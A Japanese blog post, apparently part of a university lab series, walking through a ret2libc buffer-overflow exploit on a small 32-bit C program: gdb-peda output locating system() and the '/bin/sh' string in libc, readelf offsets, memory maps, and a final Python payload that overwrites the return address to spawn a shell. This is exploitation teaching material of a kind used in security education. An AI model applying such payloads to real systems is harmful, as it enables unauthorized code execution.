ret2libc(弊研究室の某課題について考える12日目)
はじめに
弊研究室の某課題について考える12日目の記事です。
前回のret2pltを応用したものになります
return to libc
前回EIPを奪った後にその宛先アドレスをpltに変え、変数を実行しました。ですがret2pltはpltにある関数、つまりプログラムで使用される関数しか利用できません。
しかしライブラリは読み込んでいるのでライブラリの関数アドレスが分かればpltによる動的な解決をせずとも関数を実行することができます。
ということで今回はret2libcをやっていきます。
ret2libcをやってみる
今回のサンプルプログラムも前回と一緒
#include<stdio.h> #include<string.h> int main(int argc, char *argv[]){ setbuf(stdin,NULL); setbuf(stdout,NULL); char buf[100] = {}; strcpy(buf,argv[1]); printf("Hi "); puts(buf); return 0; }
pltのアドレスはobjdumpで簡単にとれましたがlibcのアドレスはちょっと調べる必要があります。
gdb-peda$ start [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0xb7fc2000 --> 0x1acda8 ECX: 0x2862d6b5 EDX: 0xbffff694 --> 0xb7fc2000 --> 0x1acda8 ESI: 0x0 EDI: 0x0 EBP: 0xbffff668 --> 0x0 ESP: 0xbffff660 --> 0xb7fc2000 --> 0x1acda8 EIP: 0x8048532 (<main+5>: and esp,0xfffffff0) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804852e <main+1>: mov ebp,esp 0x8048530 <main+3>: push edi 0x8048531 <main+4>: push ebx => 0x8048532 <main+5>: and esp,0xfffffff0 0x8048535 <main+8>: sub esp,0x100 0x804853b <main+14>: mov eax,ds:0x804a040 0x8048540 <main+19>: mov DWORD PTR [esp+0x4],0x0 0x8048548 <main+27>: mov DWORD PTR [esp],eax [------------------------------------stack-------------------------------------] 0000| 0xbffff660 --> 0xb7fc2000 --> 0x1acda8 0004| 0xbffff664 --> 0x0 0008| 0xbffff668 --> 0x0 0012| 0xbffff66c --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0016| 0xbffff670 --> 0x1 0020| 0xbffff674 --> 0xbffff704 --> 0xbffff82b ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out") 0024| 0xbffff678 --> 0xbffff70c --> 0xbffff856 ("XDG_SESSION_ID=8") 0028| 0xbffff67c --> 0xb7fece3a (<call_init+26>: add ebx,0x121c6) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Temporary breakpoint 1, 0x08048532 in main () gdb-peda$ p system $1 = {<text variable, no debug info>} 0xb7e55310 <__libc_system>
libcのsystem関数のアドレスがわかりました。後は/bin/shという文字列を探します。
gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xb7f77cec ("/bin/sh")
ということでret2pltのようにsystem関数のアドレスをEIPに、/bin/shの文字列を引数として積みます
ちなみにsystemの調べ方にはreadelfを使う方法もあります。
$ ldd ./a.out linux-gate.so.1 => (0xb7fff000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e36000) /lib/ld-linux.so.2 (0x80000000) $ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system@ 620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE 1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
この00040310がlibcのベースからのオフセットになります。なのでlibcのベースを求めて計算する必要がでてきます。
libcのベースは/proc/pid/mapsを見るか
gdb-peda$ info proc mappings process 9397 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/tsugumiyagi/Documents/pwn/pwn5/a.out 0x8049000 0x804a000 0x1000 0x0 /home/tsugumiyagi/Documents/pwn/pwn5/a.out 0x804a000 0x804b000 0x1000 0x1000 /home/tsugumiyagi/Documents/pwn/pwn5/a.out 0xb7e14000 0xb7e15000 0x1000 0x0 0xb7e15000 0xb7fc0000 0x1ab000 0x0 /lib/i386-linux-gnu/libc-2.19.so 0xb7fc0000 0xb7fc2000 0x2000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so 0xb7fc2000 0xb7fc3000 0x1000 0x1ac000 /lib/i386-linux-gnu/libc-2.19.so 0xb7fc3000 0xb7fc6000 0x3000 0x0 0xb7fdb000 0xb7fdd000 0x2000 0x0 0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso] 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so 0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so 0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so 0xbffdf000 0xc0000000 0x21000 0x0 [stack] gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/tsugumiyagi/Documents/pwn/pwn5/a.out 0x08049000 0x0804a000 r--p /home/tsugumiyagi/Documents/pwn/pwn5/a.out 0x0804a000 0x0804b000 rw-p /home/tsugumiyagi/Documents/pwn/pwn5/a.out 0xb7e14000 0xb7e15000 rw-p mapped 0xb7e15000 0xb7fc0000 r-xp /lib/i386-linux-gnu/libc-2.19.so 0xb7fc0000 0xb7fc2000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xb7fc2000 0xb7fc3000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xb7fc3000 0xb7fc6000 rw-p mapped 0xb7fdb000 0xb7fdd000 rw-p mapped 0xb7fdd000 0xb7fde000 r-xp [vdso] 0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xb7ffe000 0xb7fff000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xb7fff000 0xb8000000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xbffdf000 0xc0000000 rw-p [stack]
で見ることができます。後はexploitコードです
$ python -c 'print "A"*112+"\x10\x53\xe5\xb7" + "BBBB" + "\xec\x7c\xf7\xb7"' | ./a.out sh$
これでシェルが起動します。